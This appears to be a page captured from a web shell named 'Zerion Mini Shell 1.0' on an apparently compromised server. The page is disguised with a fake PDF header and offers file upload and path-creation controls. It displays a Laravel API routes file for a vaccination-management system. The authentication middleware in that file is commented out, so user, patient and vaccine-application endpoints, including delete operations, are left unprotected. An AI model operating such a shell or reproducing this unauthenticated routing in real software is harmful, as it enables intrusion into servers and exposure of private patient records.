%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/core/routes/
Upload File :
Create Path :
Current File : /home/vacivi36/core/routes/api.php

<?php

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\Auth\LoginController;
use App\Http\Controllers\UserController;
use App\Http\Controllers\CompanyController;
use App\Http\Controllers\PatientController;
use App\Http\Controllers\VaccineController;
use App\Http\Controllers\ScheduleController;
use App\Http\Controllers\VaccineApplicationController;
use App\Http\Controllers\CampaignController;
use App\Http\Controllers\DashboardController;
use App\Http\Controllers\CityController;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

// Rotas públicas para autenticação
Route::post('/oauth/token', [LoginController::class, 'issueToken']); // Exemplo, ajuste conforme necessário

// Rotas protegidas - Não esquecer de descomentar a linha abaixo para todos os endpoints terem autenticação

// Route::middleware('auth:api')->group(function () {
    Route::get('/users', [UserController::class, 'index']);
    Route::get('/users/active', [UserController::class, 'listActive']);
    Route::get('/user/show', [UserController::class, 'show']);
    Route::post('/users', [UserController::class, 'store']);
    Route::put('/users/{id}', [UserController::class, 'update']);
    Route::delete('/users/{id}', [UserController::class, 'destroy']);

    Route::get('/companies', [CompanyController::class, 'index']);
    Route::get('/companies/active', [CompanyController::class, 'listActive']);
    Route::post('/companies', [CompanyController::class, 'store']);
    Route::put('/companies/{id}', [CompanyController::class, 'update']);
    Route::delete('/companies/{id}', [CompanyController::class, 'destroy']);

    Route::get('/patients', [PatientController::class, 'index']);
    Route::post('/patients', [PatientController::class, 'store']);
    Route::put('/patients/{id}', [PatientController::class, 'update']);
    Route::delete('/patients/{id}', [PatientController::class, 'destroy']);

    Route::get('/vaccines', [VaccineController::class, 'index']);
    Route::get('/vaccine/show', [VaccineController::class, 'show']);
    Route::post('/vaccines', [VaccineController::class, 'store']);
    Route::post('/vaccines/import', [VaccineController::class, 'importFromSpreadsheet']);
    Route::put('/vaccines/{id}', [VaccineController::class, 'update']);
    Route::delete('/vaccines/{id}', [VaccineController::class, 'destroy']);

    Route::get('/schedules', [ScheduleController::class, 'index']);
    Route::get('/schedule/show', [ScheduleController::class, 'show']);
    Route::post('/schedules', [ScheduleController::class, 'store']);
    Route::post('/schedules/import', [ScheduleController::class, 'importFromSpreadsheet']);
    Route::put('/schedules/{id}', [ScheduleController::class, 'update']);
    Route::delete('/schedules/{id}', [ScheduleController::class, 'destroy']);

    Route::get('/vaccine_application/show', [VaccineApplicationController::class, 'show']);
    Route::get('/vaccines_application/reportResume', [VaccineApplicationController::class, 'reportResumeApplication']);
    Route::get('/vaccines_application/reportDetailed', [VaccineApplicationController::class, 'reportDetailedApplication']);
    Route::put('/vaccines_application/{id}', [VaccineApplicationController::class, 'update']);
    Route::delete('/vaccines_application/{id}', [VaccineApplicationController::class, 'destroy']);


    Route::get('/campaigns', [CampaignController::class, 'index']);
    Route::get('/campaign/show', [CampaignController::class, 'show']);
    Route::post('/campaigns', [CampaignController::class, 'store']);
    Route::put('/campaigns/{id}', [CampaignController::class, 'update']);
    Route::delete('/campaigns/{id}', [CampaignController::class, 'destroy']);

    Route::get('/dashboard/getVaccineStatusByCampaign', [DashboardController::class, 'getVaccineStatusByCampaign']);
    Route::get('/dashboard/getVaccineSummaryByCompany', [DashboardController::class, 'getVaccineSummaryByCompany']);

    Route::get('/cities', [CityController::class, 'index']);

// });

Zerion Mini Shell 1.0